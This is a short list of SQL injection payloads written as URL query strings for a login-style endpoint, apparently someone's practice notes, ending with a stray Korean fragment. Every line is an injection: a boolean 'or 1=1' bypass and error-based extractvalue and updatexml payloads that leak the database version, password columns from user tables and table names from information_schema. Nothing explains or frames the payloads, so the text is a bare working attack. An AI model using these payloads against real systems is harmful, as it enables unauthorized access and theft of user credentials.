id=~~~~~~&pw=pw&type=1 or 1=1 id=~~~~~~~&pw=pw&type=1 and extractvalue(0xa,concat(0xa, @@version)) id=~~~~&pw=pw&type=1 and extractvalue(0xa,concat(0xa, (select ps from t_user))) id=~~~~~~~~&pw=pw&type=1 and extractvalue(0xa,concat(0xa, (select ps from all_user_accounts))) id=~~~~~~&pw=pw&type=1 and updatexml(null,concat(0x3a,(select table_name from information_schema.tables),null) 만약에..